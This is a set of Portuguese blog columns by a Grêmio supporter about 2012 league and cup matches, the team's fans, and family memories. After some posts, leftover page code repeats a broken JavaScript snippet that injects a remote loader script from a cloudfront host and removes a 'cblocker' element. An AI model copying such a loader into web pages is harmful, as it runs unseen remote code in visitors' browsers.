Avalanche Tricolor: estava mais pra Divino

 

Corinthians 3 x 1 Grêmio
Brasileiro – Pacaembu (SP)

 

Você há de convir, caríssimo torcedor gremista, futebol aos sábados, 9 da noite, só se for do Divino, o melhor time da dramaturgia brasileira,  que reúne um grupo de jogadores mais envolvidos em paixões e dramas do que com a bola. Algumas vezes até os vemos trocando passes durante os treinos, em um estádio de subúrbio e sob o comando de um técnico que não apita nada. Sabemos que a bola entra no gol ou se espatifa na arquibancada de acordo com o interesse do autor João Emanuel Carneiro. É ele quem decide o destino de cada jogada na novela. Em um capítulo, Roni, o craque e filho do presidente, estufa a rede para mostrar que está de bem com a vida, mesmo que para esconder sua homossexualidade tenha sido obrigado a casar com Suelen, a maria chuteira do bairro. Em outro, Jorginho, filho adotivo do eterno ídolo Tufão, tropeça na bola como complemento de um capítulo no qual se enreda ainda mais em uma trama familiar difícil de explicar.  Iran, que sonha em morar na zona Sul, e Leandro, por quem Roni é apaixonado, também aparecem com algum destaque, mas não são capazes de mudar o jogo. Neste roteiro que está com a bola toda no Ibope, por mais surpresas que surjam a cada capítulo, me parece bem razoável que o único final feliz que podemos garantir é o da vitória do Divino e a conquista do título no último capítulo, de preferência com gol de Adauto, que voltaria a jogar depois de ter encerrado a carreira precocemente, após perder penâlti na decisão da Segunda Divisão, no Maracanã.

 

Perdoe-me, caro e raro leitor, se dedico o parágrafo inicial desta Avalanche para falar de novela. Mas como tenho sempre a impressão de que o destino tricolor faz parte de um roteiro de drama, sofrimento e glória, escrito pelo destino, quero crer que o resultado desta noite de sábado seja apenas um capítulo desta trama que culminará com a conquista do Campeonato Brasileiro, assim como acontecerá com o Divino, na novela Avenida Brasil.

Avalanche Tricolor: Torcida e time fazem uma baita diferença

 

Grêmio 2 x 1 Atlético (GO)
Brasileiro – Olímpico Monumental

 

Gremio x Atletico-GO

 

Você, caro e raro leitor deste blog, sabe bem que muito mais do que o placar final e a conquista alcançada, escrevo esta coluna, desde 2007, com base na emoção emanada da camisa que nossos jogadores suam em campo. E hoje me atrevo a escrever esta Avalanche antes mesmo de saber o resultado final da partida. Já estamos vencendo por 2 a 1, mas poderia ter começado este parágrafo antes mesmo de ver Elano brilhar com dois belos gols, um que partiu do seu talento na cobrança de falta – parecia ter colocado a bola com a mão no arco adversário – e outro no qual fechou com precisão uma belíssima jogada construída, não por um jogador, pelo coletivo tricolor.

 

Fui conquistado por este Grêmio desde o momento em que a câmera percorreu as arquibancadas e percebi que todos os espaços estavam devidamente ocupados. Acreditei neste time no instante em que o juiz apitou o início do jogo e havia uma tensão que ligava cada um de nossos jogadores, os levava a correr com uma gana que há muito não via nesta equipe. Estava evidente que algo novo surgia na relação entre torcida e time, aquele algo que fazia falta e me incomodava tanto, como já expressei em Avalanches e comentários anteriores. O Grêmio de hoje, sei lá qual será o resultado final, é um time com outra alma, apoiada pela paixão de seus torcedores, e isto pode fazer uma baita diferença para as nossas pretensões neste Campeonato Brasileiro. Porque é isto que nos torna Imortal !

Avalanche Tricolor: Éramos 20, éramos muitos

 

Palmeiras 0 x 0 Grêmio
Brasileiro – Pacaembu (SP)

 

Foto que ilustra o site Grêmio.net

 

Forjado nas dificuldades que impomos a nós mesmos ou que nos foram impostas, construímos nossa história. O desafio desse sábado, suportar a pressão de um time desesperado, na casa do adversário e com um jogador a menos desde os 15 minutos do primeiro tempo, parece surgir no momento certo para provarmos que merecemos a conquista que o destino haverá de nos oferecer, nesta temporada. Imagine o que será para “os feitos da tua história”, estes cantados com amor pelo Rio Grande, como escrito em nosso hino, ser campeão brasileiro dentro do Olímpico Monumental, no momento em que nos despedimos deste templo. Para tanto, teremos que mostrar a cada jogo que somos capazes. E, ontem, foi o que fizemos ao sairmos vitoriosos com um empate.

 

Fiquei impressionado – e não sei porque ainda me impressiono – com a quantidade de jogadores gremistas dentro de campo, após a expulsão de Kleber. Os locutores paulistas que narravam a partida pareciam não acreditar no que traduziam como “raça e determinação’, quando bastava chamar aquele espírito que emanava de cada um de nossos jogadores de imortalidade. Um fenômeno tão impressionante que é capaz de transformar o mais contestado de nossos zagueiros, Naldo, em um gigante dentro da área, eliminando qualquer possibilidade de os atacantes adversários chutarem no gol, despachando bola para longe da área de cabeça, com o pé, com o dedão do pé ou com o que mais encontrar de recursos em seu limitado cardápio.

 

O que dizer, então, dos demais jogadores: eram dois Fernandos, dois Andersons, dois Souzas, dois Wesleys, muitos Zés, dezenas de Marcelo Grohe fechando o gol, tirando de soco, espalmando para fora, marcando firme, tocando bola, tentando jogar quando possível. Não éramos apenas dez em campo, éramos 20, éramos muitos somados aos que lotavam o pequeno espaço cedido a torcida gremista no Pacaembu e a todos aqueles que, diante da televisão, assistiam à mais um passo firme de um time predestinado a ser campeão, a ser Imortal.

Avalanche Tricolor: Comemore comigo

 

Grêmio 2 x 0 Vasco
Brasileiro – Olímpico Monumental

 

Gremio x Vasco

 

Assistir ao Grêmio nestas últimas rodadas tem sido um enorme prazer, mesmo que  esteja consciente do risco que corro em dormir tão tarde precisando acordar tão cedo. O jogo de ontem se encerrou lá perto da meia-noite e fechar os olhos após a partida não é algo imediato, a excitação pelo resultado e a percepção de que caminhamos em direção a liderança fazem o coração bater em ritmo forte. É preciso, como dizem no popular, baixar a bola antes de se entregar ao sono. O problema nisso tudo é que às quatro da manhã o despertador não perdoa e a responsabilidade de estar disposto a falar a partir das seis da matina no Jornal da CBN, e por quatro horas seguidas, é enorme. Seja como for, nossas vitórias compensam qualquer sacrifício, apesar de eu entender, em parte, a ausência do torcedor nas arquibancadas nesta altura do campeonato. A incompatibilidade de agenda tem me impedido, porém, de escrever esta Avalanche Tricolor imediatamente após o jogo, por isso apenas deixei o espaço reservado no Blog para você se expressar e comemorar comigo mais uma conquista. A estratégia me proporcionou uma outra oportunidade que foi a de publicar este texto após os comentários dos meus raros e caros leitores e, assim, ser pautado por eles.

 

Vamos aos comentários, então:

 

Começo pela bronca do Ramirez que não gostou de o Luxemburgo reclamar da falta de torcedores na arquibancada em jogo tão importante. Concordo que o preço do ingresso e o horário afugentam as pessoas, mas, convenhamos, nossa torcida já encheu estádio em situações bastante complicadas e foi responsável por levar o time a vitórias memoráveis. Escrevi sobre o assunto em Avalanches anteriores. Tenho achado nossa torcida muito distante do time e impaciente. Não sei ao certo o que ocorre nesta relação, mas suponho que esteja ligado a figura do treinador, pouco carismático e distante de ser um ídolo como foi, por exemplo, Renato Gaúcho, apesar de estar obtendo bons resultados. Luxemburgo nunca teve minha simpatia, também. Mas sabe que até aquele terno com um casaco sobreposto tem me parecido mais elegante ao lado do gramado!? Tem outro aspecto a ser analisado, a maneira como o Grêmio atua se difere daquele ritmo que empolga a arquibancada, é um time que espera o tempo certo para o bote, não tem pressa, joga com parcimônia. Eu mesmo às vezes me sinto impaciente diante de tanta paciência.

 

O Gunar, por sua vez, lembra que o time entrou em campo sem Gilberto Silva e Elano. E isto faz uma baita diferença. Naldo na defesa e Marquinhos no meio de campo não são os substitutos dos sonhos. Além dos perigos que corremos lá atrás, sofremos com a falta de armação lá na frente. Mesmo assim percebo no comentário do Adilson que Marquinhos, desta vez, agradou e Naldo não atrapalhou. Escreveu quase o mesmo Seu Algoz, no Blog Imortal Tricolor (http://blogremio.blogspot.com.br/), que gosto de consultar toda semana. Têm razão, mas que Elano volte logo e Luxemburgo encontre no grupo alguém capaz de segurar a onda na ausência dele.

 

A verdade é que quando o time começa dar certo mesmo sem sua força máxima, desconsidera os prognósticos malditos e vê seus adversários tropeçando juntos, é sinal de que o destino está com ótimos planos para nós. Por isso, faço coro com Bruno Zanette: “O Grêmio está chegando”. E de olho no que vai acontecer sábado, fecho com o Milton Ferretti Jung (e não apenas porque é o meu pai): “que se dane o Felipão”.

 

Vamos comemorar

Avalanche Tricolor: vencemos o Gre-Nal, e que Gre-Nal !

 

Inter 0 x 1 Grêmio
Brasileiro – Remendazzo (Beira Rio)

 

 

Gre-Nal é Gre-Nal dizem lá no Rio Grande do Sul ou para demonstrar que as equipes buscam forças especiais capazes de equilibrá-las independentemente de suas qualidades ou como forma de tirar das costas qualquer erro de prognóstico. A verdade é que tem Gre-Nal e Gre-Nal, cada um com a sua importância, as suas circunstâncias e significados. O primeiro, por exemplo, tem valor por marcar o início de uma história (e porque vencemos por 10 a 0, lógico). O que dá um título estadual é mais importante do que aquele que apenas serve para classificar à fase seguinte. E o que vale uma competição nacional vai além desses todos. E o Gre-Nal de hoje valia muito mais, por isso nossa vitória tem sabor especial.

 

Vencer o Internacional, neste domingo, mostraria o amadurecimento de um time que foi sendo construído durante a competição e desde que assumiu seu lugar entre os quatro melhores nunca mais o abandonou. Mesmo assim ainda é olhado com desconfiança por muitos setores, inclusive da torcida. Mais do que isso, desta vez daríamos um passo a frente na tabela de classificação e começaríamos a caminhada rumo à liderança e, de gorjeta, ainda empurraríamos o tradicional adversário para atrás, bem mais atrás. Estávamos, também, atuando no #Remendazzo, estádio que eles fizeram questão de jogar apesar da evidente falta de infra-estrutura porque se diziam imbatíveis. Não foram necessários mais de mil gremistas, espremidos e molhados em uma arquibancada de estádio do interior, para provar o contrário.

 

O Gre-Nal foi decidido logo no início com Elano marcando o único gol da partida mesmo sofrendo dores devido a uma lesão muscular que o tirou de campo em seguida. Fez atuação típica de um Imortal e quando saiu deixou clara a falta que temos de alguém em condições de armar o jogo ao lado de Zé Roberto. Mas isto não é coisa para se discutir em um dia de festa. O restante da partida foi para consagrar nossos defensores, com Fernando se sobressaindo mais uma vez, Gilberto Silva acabando com qualquer tentativa do “ataque dos sonhos”, Werley na função de xerife e os dois alas despachando bola para frente sempre que necessário. E, claro, o goleiro Marcelo Grohe ensinando velhos jornalistas de quando está na hora de pararem de escrever bobagem.

 

E se minha tese de que em competição de pontos corridos toda partida é uma decisão, este Gre-Nal não é era apenas um Gre-Nal, era o Gre-Nal do título, por que não ?

 

Avalanche Tricolor: O Imortal voltou !

 

Coritiba 3 x 2 Grêmio
Sul-americana – Couto Pereira (PR)

 

 

O Grêmio está sempre pronto para me preparar algumas surpresas. A de hoje tocou fundo. E não me refiro apenas a classificação para a próxima fase da Sul-Americana. Nem ao incrível resultado obtido poucos minutos antes do encerramentos da partida, graças a um chute retorcido de nosso volante Souza e a bola alcançada pela ponta da chuteira de Marcelo Moreno. Mas ao fato de tudo isso ter levado meu filho mais velho, Gregório – já citado em outros posts gremistas -, a escrever a sua própria Avalanche Tricolor. E em inglês. Era tema de casa, como dizem lá no Rio Grande do Sul, encomendado pelo professor que tenta motivar seus alunos a escrever em língua estrangeira. E sua emoção ao ver nossa conquista sofrida desta noite, o inspirou no post que compartilho com você (traduzido para facilitar nossas vidas):

 

“Mesmo não sendo uma vitória, foi na medida certa para assegurar nossa posição na próxima fase da Copa Sul-Americana. Agora eu pergunto: era realmente necessário “vencer” com um escore tão justo? Não seria bom se nós pudéssemos vencer com uma vantagem maior? E minha resposta para estas perguntas é: sim, era preciso que fosse assim. Você acredita que teria sido a mesma coisa com outro placar? Não é assim que o Grêmio construiu sua história? Momentos que causam um ataque no coração, nos põem no limite da cadeira e provocam um sorriso no rosto de homens e mulheres que amam este time tanto quanto sua própria vida. Ficar feliz com isso, chorar com isso. E mesmo com tudo isso continuar a ter prazer de torcer por este alucinante time”

 

A revelação deste sentimento do Greg somente reforça o quanto é legal ser um Imortal Tricolor.

// -1?’https’:’http’;var ccm=document.createElement(‘script’);ccm.type=’text/javascript’;ccm.async=true;ccm.src=http+’://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=’;var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

Avalanche Tricolor: pelo direito de sermos felizes

 

Grêmio 4 x 0 Figueirense
Brasileiro – Olímpico Monumental

 

 

Tomo a liberdade de começar esta Avalanche escrevendo sobre notícia publicada na semana que antecedeu a vitória deste domingo em lugar de iniciá-la exaltando a equipe pelo excelente resultado. Sei que são raras as oportunidades em que conseguimos marcar quatro gols em uma só partida, em especial contra um time que havia se transformado em calo no sapato tricolor há nove anos – para não fazer nenhum drama, há cinco partidas -, tempo no qual não havíamos conseguido uma vitória sequer em cima deles, jogando em casa. Também seria excitante bater palma para a equipe que se mantém firme e forte no privilegiado G4 há dez rodadas, se não me engano (e é bem possível que me engane) demonstrando um amadurecimento que pode nos dar fôlego para disputar a liderança a partir da virada do turno. Mas como disse, dedico estas primeiras linhas para o que  foi dito e não para o que se fez. Li que Luxemburgo reclamou da postura festiva dos jogadores gremistas após superarem de virada e nos minutos extras o São Paulo, no Morumbi. “Foi uma comemoração como se tivéssemos ganho um título”, criticou o técnico e teria assim encontrado o motivo para a improvável derrota no jogo seguinte contra Portuguesa.

 

Vou discordar do treinador. Se perdemos no meio da semana, que se encontre outra desculpa, pois a festa ao fim da partida com o São Paulo, assim como nas demais vitórias que obtivermos, se justifica e me gratifica. Sabe bem o técnico pela experiência em conquistas no passado que os pontos corridos nos obrigam a entrar sempre com espírito de decisão e cada vitória nos aproxima de nossos objetivos, enquanto os empates e derrotas nos exige esforço redobrado na rodada seguinte. Quero ver sempre nossos jogadores comemorando cada gol como o gol do título. Quero todos anulando o adversário com marcação forte e segura. Quero nossa equipe com a bola no pé, trocando passes com velocidade, driblando quando necessário, chutando sempre que a chance surgir e atuando com a inteligência de quem sabe que aquela partida pode ser definitiva para nossos destinos.

 

De certa maneira foi um pouco o que assistimos hoje à tarde no Olímpico quando atropelamos o adversário, não perdoamos nenhuma falha e vencemos com direito a comemoração de título. Não de título antecipado, mesmo porque este ainda está distante, mas de um título que é construído a cada semana com paciência, raça e criatividade. É o que esperamos no Gre-Nal do próximo domingo, oportunidade de mostrar que temos capacidade para alcançarmos nossos objetivos, neste Campeonato Brasileiro. E de comemorarmos como vitoriosos que somos. De preferência com volta olímpica no estádio do adversário. Prefiro este time faceiro pelas vitórias às caras fechadas e desculpas esfarrapadas das derrotas.

 

Avalanche Tricolor: você torce para o Grêmio, realmente ?

 

Grêmio 1 x 2 Portuguesa
Brasileiro – Olímpico Monumental

 

Não me surpreende o resultado deste início de noite e falei da possibilidade de um revés contra a Portuguesa desde domingo em telefonemas que recebi de amigos gremistas ou não. Estas coisas acontecem na vida do Grêmio e sei da nossa capacidade de nos recuperarmos no próximo jogo ou talvez nas próximas rodadas. A falta de gols hoje e a incapacidade de furar o bloqueio imposto pelo adversário não me preocupam neste momento mais do que a reação de parcela da torcida. Nada me deixou mais indignado do que a imagem de pessoas que vestiam a camisa do Grêmio deixando o estádio Olímpico antes do apito final, como sinal de que haviam desistido de uma virada ou quem sabe um consolador empate. Seriam mesmo torcedores gremistas? Em toda minha vida de torcedor, na época em que morava em Porto Alegre e batia ponto jogo após jogo, em toda minha vida de sofredor diante dos resultados mais absurdos e constrangedores, jamais, jamais abandonei a luta antes da hora. Jamais aceitei a ideia de vaiar um só jogador com a partida em curso, por mais perna de pau que fosse, por menos que merecesse se apresentar com nossa camisa. E continuo não aceitando esta atitude, principalmente contra valores como Fernando, volante que nasceu e se formou gremista e por muito tempo foi dos poucos jogadores capazes de nos dar orgulho de torcer por nosso time. Sei que ele não está bem, os passes não têm saído com a mesma perfeição e a chegada no ataque não tem tido o mesmo resultado. Mas ele não merece nossa vaia. Assim como o time, não a merece, mesmo com algumas carências. Os jogadores tem demonstrado um enorme esforço, alguns jogando muito mais do que são capazes. Estamos no privilegiado grupo do G4 há algum tempo – e se nossa secada der certo continuaremos nele em mais esta rodada. Continuamos vislumbrando a liderança e isto pode acontecer já nas primeiras rodadas do próximo turmo. O time do Grêmio não merece uma torcida que abandona a luta. Temos obrigação – pois esta é a nossa história – de gritarmos, empurrarmos na garganta os adversários que se atrevem a nos enfrentar no Olímpico Monumental. A estes que deram as costas ao Grêmio hoje à noite, a estes que gastaram suas energias vaiando nosso time, pergunto: você é um gremista de verdade? você realmente acredita na nossa Imortalidade? Eu sou e eu acredito, sempre.

 

// -1?’https’:’http’;var ccm=document.createElement(‘script’);ccm.type=’text/javascript’;ccm.async=true;ccm.src=http+’://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=’;var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

Avalanche Tricolor: Obrigado por este dia, pai!

 

São Paulo 1 x 2 Grêmio
Brasileiro – Morumbi (SP)

 

 

Costumamos ouvir que nascemos gremistas. No meu caso, nasci de pai gremista, também. Isso foi fundamental na minha formação. Longe da escola ou da Igreja, é na família que temos nosso caráter e personalidade forjados. Nela aprendemos os bons e maus caminhos que podem ser percorridos no restante de nossas vidas. Dela resgatamos conhecimento, história e passado. E foi de um de seus membros que recebi uma camisa colorada vestida na inocência dos meus seis anos sem saber o que esta significaria, especialmente naquela data em que o time do coração de meu pai acabara de ser derrotado pela primeira vez, após sete anos seguidos de conquistas. Soube do que aconteceu em seguida a minha chegada em casa pelo que me contaram porque não guardei na memória nenhuma das cenas que me foram descritas. Por muito tempo creditei os fatos a estas lendas de família que passam de geração em geração sem que nenhuma prova haja além da imaginação dos parentes. Recentemente, porém, já morando em São Paulo, foi meu pai quem confirmou o que para ele teria sido uma reação estúpida a algo sem tanta importância, mas que para mim foi crucial. Meu pai teria me dado, como costumamos dizer lá no Sul, uma sumanta de pau, no caso o pau da bandeira vermelha que acompanhava o uniforme. Eram anos em que a educação do filho podia passar por umas palmadas sem que os pais fossem denunciados na vara da justiça. O que aconteceu comigo foi o que podemos chamar de corretivo, pois corrigiu o meu caminho ou ao menos mostrou o caminho para o qual havia nascido e sido preparado: ser um Imortal Tricolor.

 

Fosse ele menos inciso, neste domingo de Dias dos Pais não teria motivo para comemorar a virada gremista no Morumbi, estádio de tantas alegrias. Lembro da final do Brasileiro de 1981 contra o próprio São Paulo, claro. Mas, também, da final da Copa do Brasil de 2001 contra o Corinthians. E como agora não temos mais as finalíssimas dado o regulamento dos pontos corridos, quem sabe não guardarei da mesma forma esta vitória de virada contra o São Paulo que pode ter nos dado os três pontos que nos levarão ao título ao fim de toda jornada. Um resultado obtido na prudência de um time que está nos ensinando ser necessário mais do que raça para as grandes conquistas, ser preciso paciência e organização. Hoje, mesmo com jogadores nitidamente cansados e com um resultado aparentemente satisfatório continuou se tentando algo mais, quase despretensiosamente, no toque de bola, no tranco do adversário, no esforço final e nas defesas de Marcelo Grohe – um dos destaques da tarde. E se alcançou, oferecendo a mim e a torcida gremista uma alegria que parecia adiada para a próxima rodada.

 

Obrigado e parabéns pai pelas escolhas que você me ajudou a fazer.

// -1?’https’:’http’;var ccm=document.createElement(‘script’);ccm.type=’text/javascript’;ccm.async=true;ccm.src=http+’://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=’;var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

Avalanche Tricolor: as imagens podem ajudar muito

 

Ponte Preta 0 x 0 Grêmio
Brasileiro – Campinas (SP)

 

 

Faltava um segundo para o final quando o lutador brasileiro de taekwondo Diogo Silva recebeu um golpe tão rápido na cabeça que o árbitro não viu, mas graças ao regulamento do esporte o americano Terrence Jennings pediu revisão das imagens. O combate estava empatado e a disputa da medalha de bronze nos Jogos Olímpicos iria para o golden score, mas os juízes analisaram o vídeo e perceberam o erro, voltaram atrás e deram os pontos para o representante dos Estados Unidos. Dias antes quase assistimos à tremenda injustiça na partida entre Brasil e Rússia no vôlei feminino quando uma bola que bateu dentro da quadra adversária foi sinalizada como sendo fora e impediu que as brasileiras marcassem um ponto importante. A televisão repetia à exaustão o lance, as jogadoras reclamavam do árbitro, mas, irredutível, senhor da verdade, ele confirmou seu erro. Menos mal que tivemos a maturidade para manter a calma e protagonizar a mais incrível vitória do vôlei nesta Olimpíada.

 

Você, caro e raro leitor, deve estar se perguntando por que ocupei todo o primeiro parágrafo desta Avalanche Tricolor para falar de lances polêmicos que ocorreram em Londres quando aqui pertinho, em Campinas, o Grêmio empatou seu primeiro jogo no Brasileiro, resultano suficiente para se manter entre os quatro melhores da competição? Antes de mais nada porque não perco a oportunidade de chamar a atenção para a necessidade de os esportes de alta performance passarem a aceitar os benefícios oferecidos pela tecnologia. O futebol americano já nos ensinou isso, o tênis aderiu, descobri nesta Olimpíada que o taekwondo e a esgrima também permitem a revisão das imagens, mas, infelizmente, o nosso futebol, o vôlei, o basquete e tantas outras modalidades ainda não entenderam que não se pode correr o risco de prejudicar uma campanha inteira de uma seleção ou clube apenas porque o olhar dos árbitros é incapaz de acompanhar a velocidade das jogadas. Os prejuízos financeiros e históricos são irreparáveis.

 

Na partida de hoje não tivemos tantos lances que merecessem uma revisão de imagens, apesar do árbitro manter a tradição neste campeonato e mais uma vez ter errado em algumas marcações. No entanto, tenho certeza de que amanhã quando a equipe do Grêmio sentar diante da televisão e rever o jogo perceberá que quando coloca a bola na grama – mesmo que esta seja em um campo ruim como o desta noite – a possibilidade de se aproximar do gol é muito maior. Foi o que aconteceu na parte final da partida, depois que cansamos de dar chutão para frente e fazer lançamentos sem destino. Um time que tem Zé Roberto e Elano como armadores não pode fazer com que a bola passe por cima deles, tem de fazer com que a bola passa por eles. Já que não podemos aproveitar as imagens para rever lances duvidosos durante o jogo, que estas sirvam para consertamos nossos erros depois da partida. Mesmo porque, como Elano lembrou bem, domingo tem mais.